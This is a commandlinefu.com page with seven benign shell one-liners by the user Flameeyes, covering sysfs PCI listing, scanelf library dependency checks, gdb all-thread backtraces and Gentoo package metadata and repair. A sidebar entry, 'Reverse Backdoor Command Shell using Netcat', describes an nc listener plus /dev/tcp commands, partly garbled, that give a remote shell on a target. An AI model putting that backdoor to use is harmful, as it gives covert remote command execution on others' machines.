Commands by Flameeyes (7)

  • This is a quick replacement for lspci if you need to know what's in a given system but pciutils is not installed. You then need something that can look up the IDs from pci.ids if you want the verbose output. Show Sample Output


    4
    for device in /sys/bus/pci/devices/*; do echo "$(basename ${device} | cut -c '6-') $(cut -c '3-6' ${device}/class): $(cut -c '3-' ${device}/vendor):$(cut -c '3-' ${device}/device)"; done
    Flameeyes · 2012-04-13 03:26:02 16
  • This works in combination with http://www.commandlinefu.com/commands/view/10496/identify-exported-sonames-in-a-path as it reports the NEEDED entries present in the files within a given path. You can then compare it with the libraries that are exported to make sure that, when cross-building a firmware image, you're not bringing in dependencies from the build host. The short version of it as can be seen in the same output is scanelf -RBnq -F "+n#f" $1 | tr ',' '\n' | sort -u Show Sample Output


    1
    scanelf --nobanner --recursive --quiet --needed --format "+n#F" $1 | tr ',' '\n' | sort -u
    Flameeyes · 2012-03-29 18:30:45 3
  • This provides a list of shared object names (sonames) that are exported by a given tree. This is usually useful to make sure that a given required dependency (NEEDED entry) is present in a firmware image tree. The shorter (usable) version for it would be scanelf -RBSq -F "+S#f" But I used the verbose parameters in the command above, for explanation. Show Sample Output


    1
    scanelf --nobanner --recursive --quiet --soname --format "+S#f"
    Flameeyes · 2012-03-29 18:26:25 3
  • The command requires app-text/xmlstarlet but it otherwise self-contained. It extracts all the herds and all the maintainers' email for a given package and is what I'm using on the Tinderbox to make it easier for me to report bugs. Show Sample Output


    0
    xmlstarlet sel -t -m '/pkgmetadata/herd' -v . -n -t -m '/pkgmetadata/maintainer' -v email metadata.xml
    Flameeyes · 2010-08-09 22:37:19 3
  • This does almost the same thing as the original, but it runs the full backtrace for _all_ the threads, which is pretty important when reporting a crash for a multithreaded software, since more often than not, the signal handler is executed in a different thread than the crash happened.


    6
    gdb --batch --quiet -ex "thread apply all bt full" -ex "quit" ${exe} ${corefile}
    Flameeyes · 2010-07-06 14:49:03 10
  • The output is only partial because runtime dependencies should count in also commands executed via system() and libraries loaded with dlopen(), but at least it gives an idea of what a package directly links to. Note: this is meaningful *only* if you're using -Wl,--as-needed in your LDFLAGS, otherwise it'll bring you a bunch of false positives. Show Sample Output


    2
    qlist --exact "$pkg" | sudo scanelf --needed --quiet --format '%n#F' | tr ',' '\n' | sort -u | qfile --from -
    Flameeyes · 2010-07-06 14:39:15 94
  • Revised approach to and3k's version, using pipes and read rather than command substitution. This does not require fiddling with IFS when paths have whitespace, and does not risk hitting command-line size limits. It's less verbose on the missing files, but it stops iterating at the first file that's missing, so it should be definitely faster. I expanded all the qlist options to be more self-describing.


    3
    emerge -av1 `qlist --installed --nocolor | uniq | while read cp; do qlist --exact $cp | while read file; do test -e $file || { echo $cp; echo "$cp: missing $file (and maybe more)" 1>&2; break; }; done; done`
    Flameeyes · 2010-07-04 19:55:42 5

What's this?

commandlinefu.com is the place to record those command-line gems that you return to again and again. That way others can gain from your CLI wisdom and you from theirs too. All commands can be commented on, discussed and voted up or down.

Share Your Commands


Check These Out

Convert seconds to [DD:][HH:]MM:SS
Converts any number of seconds into days, hours, minutes and seconds. sec2dhms() { declare -i SS="$1" D=$(( SS / 86400 )) H=$(( SS % 86400 / 3600 )) M=$(( SS % 3600 / 60 )) S=$(( SS % 60 )) [ "$D" -gt 0 ] && echo -n "${D}:" [ "$H" -gt 0 ] && printf "%02g:" "$H" printf "%02g:%02g\n" "$M" "$S" }

Get the size of all the directories in current directory (Sorted Human Readable)
This allows the output to be sorted from largest to smallest in human readable format.

download newest adminer and rename to it's version accordingly
If the version already downloaded. it will not download again

kde4 lock screen command
If you wish to launch the kde4 screen saver without the password prompt to exit, use this command: $ qdbus org.freedesktop.ScreenSaver /ScreenSaver org.freedesktop.ScreenSaver.SetActive True Also can be done with: $ /usr/lib/kde4/libexec/kscreenlocker --forcelock

List the Sizes of Folders and Directories
I wanted an easy way to list out the sizes of directories and all of the contents of those directories recursively.

small CPU benchmark with PI, bc and time.
$ # 4 cores with 2500 pi digits $ CPUBENCH 4 2500 $. $ every core will use 100% cpu and you can see how fast they calculate it. $ if you do 50000 digitits and more it can take hours or days

Reverse Backdoor Command Shell using Netcat
This is sneaky. First, start a listening service on your box. $ nc -l 8080 -vvv & On the target you will create a new descriptor which is assigned to a network node. Then you will read and write to that descriptor. $ exec 5/dev/tcp//8080;cat &5 >&5; done You can send it to the background like this: $ (exec 5/dev/tcp//8080;cat &5 >&5;) & Now everything you type in our local listening server will get executed on the target and the output of the commands will be piped back to the client.

Manipulate the metadata when the photo was taken, this will shift with +15hours + 30min

Prints new content of files
Useful to e.g. keep an eye on several logfiles.

Delete all but the latest 5 files, ignoring directories


Stay in the loop…

Follow the Tweets.

Every new command is wrapped in a tweet and posted to Twitter. Following the stream is a great way of staying abreast of the latest commands. For the more discerning, there are Twitter accounts for commands that get a minimum of 3 and 10 votes - that way only the great commands get tweeted.

» http://twitter.com/commandlinefu
» http://twitter.com/commandlinefu3
» http://twitter.com/commandlinefu10

Subscribe to the feeds.

Use your favourite RSS aggregator to stay in touch with the latest commands. There are feeds mirroring the 3 Twitter streams as well as for virtually every other subset (users, tags, functions,…):

Subscribe to the feed for: